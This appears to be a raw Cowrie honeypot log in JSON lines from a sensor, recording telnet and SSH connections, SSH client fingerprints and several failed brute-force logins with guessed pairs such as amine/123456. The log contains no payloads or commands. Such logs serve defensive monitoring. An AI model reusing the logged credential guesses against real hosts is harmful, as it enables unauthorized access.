{"eventid":"cowrie.session.closed","duration":34.55354595184326,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:22.541131Z","src_ip":"162.253.42.116","session":"39cad1e9cd78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.798038721084595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:22.752058Z","src_ip":"162.253.42.116","session":"81fa5b3ad2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"5129c9d5ff19","protocol":"telnet","message":"New connection: 162.253.42.116:50104 (10.17.0.5:23) [session: 5129c9d5ff19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:23.996976Z"}
{"eventid":"cowrie.session.closed","duration":30.705299615859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:24.326627Z","src_ip":"43.243.201.97","session":"e81b91c38d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25a027c26bd","protocol":"telnet","message":"New connection: 162.253.42.116:60328 (10.17.0.5:23) [session: d25a027c26bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:31.752935Z"}
{"eventid":"cowrie.session.closed","duration":35.2708158493042,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:31.912342Z","src_ip":"162.253.42.116","session":"26efd8a7269c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57162,"dst_ip":"10.17.0.5","dst_port":23,"session":"52744cef31b7","protocol":"telnet","message":"New connection: 162.253.42.116:57162 (10.17.0.5:23) [session: 52744cef31b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:31.970155Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33162,"dst_ip":"10.17.0.5","dst_port":23,"session":"5df4c3df3e96","protocol":"telnet","message":"New connection: 162.253.42.116:33162 (10.17.0.5:23) [session: 5df4c3df3e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:32.678840Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37390,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeffa39f71d1","protocol":"ssh","message":"New connection: 159.203.92.129:37390 (159.203.135.109:22) [session: aeffa39f71d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:34.238949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:34.244304Z","src_ip":"159.203.92.129","session":"aeffa39f71d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:34.248889Z","src_ip":"159.203.92.129","session":"aeffa39f71d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amelie","password":"amelie","message":"login attempt [amelie/amelie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:34.259105Z","src_ip":"159.203.92.129","session":"aeffa39f71d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:35.265873Z","src_ip":"159.203.92.129","session":"aeffa39f71d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51423954963684,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:35.732816Z","src_ip":"162.253.42.116","session":"5cf703ab76fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1424126625061,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:41.735331Z","src_ip":"162.253.42.116","session":"3e00c8bfca8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50996,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4a54ce139d","protocol":"telnet","message":"New connection: 162.253.42.116:50996 (10.17.0.5:23) [session: df4a54ce139d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:48.095354Z"}
{"eventid":"cowrie.session.closed","duration":35.718746185302734,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:52.923144Z","src_ip":"162.253.42.116","session":"07e999407bec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58424,"dst_ip":"10.17.0.5","dst_port":23,"session":"33cdadef891f","protocol":"telnet","message":"New connection: 162.253.42.116:58424 (10.17.0.5:23) [session: 33cdadef891f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:54.624488Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e62e492b1dd","protocol":"telnet","message":"New connection: 162.253.42.116:33466 (10.17.0.5:23) [session: 4e62e492b1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:57.534907Z"}
{"eventid":"cowrie.session.closed","duration":34.762245416641235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:58.759123Z","src_ip":"162.253.42.116","session":"5129c9d5ff19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16257619857788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:03.132608Z","src_ip":"162.253.42.116","session":"52744cef31b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15688133239746,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:06.909711Z","src_ip":"162.253.42.116","session":"d25a027c26bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd1c57a4f71","protocol":"telnet","message":"New connection: 162.253.42.116:43514 (10.17.0.5:23) [session: 2fd1c57a4f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:07.412560Z"}
{"eventid":"cowrie.session.closed","duration":35.90844702720642,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:08.587146Z","src_ip":"162.253.42.116","session":"5df4c3df3e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":39548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c109decc12d3","protocol":"telnet","message":"New connection: 208.82.116.131:39548 (159.203.135.109:23) [session: c109decc12d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:10.945772Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46670,"dst_ip":"159.203.135.109","dst_port":22,"session":"100d212fa8f3","protocol":"ssh","message":"New connection: 159.203.92.129:46670 (159.203.135.109:22) [session: 100d212fa8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:19.222570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:19.226740Z","src_ip":"159.203.92.129","session":"100d212fa8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:19.231445Z","src_ip":"159.203.92.129","session":"100d212fa8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amexbta","password":"amexbta","message":"login attempt [amexbta/amexbta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:19.242647Z","src_ip":"159.203.92.129","session":"100d212fa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:20.266889Z","src_ip":"159.203.92.129","session":"100d212fa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12303423881531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:24.218292Z","src_ip":"162.253.42.116","session":"df4a54ce139d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0588698387146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:30.683223Z","src_ip":"162.253.42.116","session":"33cdadef891f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.882107734680176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:32.416918Z","src_ip":"162.253.42.116","session":"4e62e492b1dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52050,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f49ea88059","protocol":"telnet","message":"New connection: 162.253.42.116:52050 (10.17.0.5:23) [session: e4f49ea88059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:40.221961Z"}
{"eventid":"cowrie.session.closed","duration":35.47962927818298,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:42.892057Z","src_ip":"162.253.42.116","session":"2fd1c57a4f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56446,"dst_ip":"10.17.0.5","dst_port":23,"session":"286ed9af5b14","protocol":"telnet","message":"New connection: 162.253.42.116:56446 (10.17.0.5:23) [session: 286ed9af5b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:44.273020Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e515294e57ff","protocol":"telnet","message":"New connection: 162.253.42.116:56998 (10.17.0.5:23) [session: e515294e57ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:44.801155Z"}
{"eventid":"cowrie.session.closed","duration":46.607259035110474,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:57.552902Z","src_ip":"208.82.116.131","session":"c109decc12d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43844,"dst_ip":"10.17.0.5","dst_port":23,"session":"779c4d0c1e93","protocol":"telnet","message":"New connection: 162.253.42.116:43844 (10.17.0.5:23) [session: 779c4d0c1e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:56:58.763635Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43150,"dst_ip":"159.203.135.109","dst_port":22,"session":"8636165be1bf","protocol":"ssh","message":"New connection: 159.203.92.129:43150 (159.203.135.109:22) [session: 8636165be1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:03.495123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:03.501073Z","src_ip":"159.203.92.129","session":"8636165be1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:03.505610Z","src_ip":"159.203.92.129","session":"8636165be1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"123456","message":"login attempt [amine/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:03.519001Z","src_ip":"159.203.92.129","session":"8636165be1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:04.524829Z","src_ip":"159.203.92.129","session":"8636165be1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9df4e11dd19","protocol":"telnet","message":"New connection: 162.253.42.116:51898 (10.17.0.5:23) [session: b9df4e11dd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:06.082538Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d631a369570","protocol":"telnet","message":"New connection: 162.253.42.116:59838 (10.17.0.5:23) [session: 4d631a369570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:13.474822Z"}
{"eventid":"cowrie.session.closed","duration":37.11023569107056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:17.332072Z","src_ip":"162.253.42.116","session":"e4f49ea88059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68893241882324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:19.489995Z","src_ip":"162.253.42.116","session":"e515294e57ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59963011741638,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:20.872559Z","src_ip":"162.253.42.116","session":"286ed9af5b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40282,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8f142012d0","protocol":"telnet","message":"New connection: 162.253.42.116:40282 (10.17.0.5:23) [session: ab8f142012d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:22.226426Z"}
{"eventid":"cowrie.session.closed","duration":37.25007605552673,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:36.013607Z","src_ip":"162.253.42.116","session":"779c4d0c1e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.53000330924988,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:43.612419Z","src_ip":"162.253.42.116","session":"b9df4e11dd19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36120,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1844393b24","protocol":"ssh","message":"New connection: 159.203.92.129:36120 (159.203.135.109:22) [session: 2d1844393b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:45.825803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:45.829782Z","src_ip":"159.203.92.129","session":"2d1844393b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:45.833271Z","src_ip":"159.203.92.129","session":"2d1844393b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:45.842161Z","src_ip":"159.203.92.129","session":"2d1844393b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:46.849522Z","src_ip":"159.203.92.129","session":"2d1844393b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.62089776992798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:49.095629Z","src_ip":"162.253.42.116","session":"4d631a369570","protocol":"telnet"}
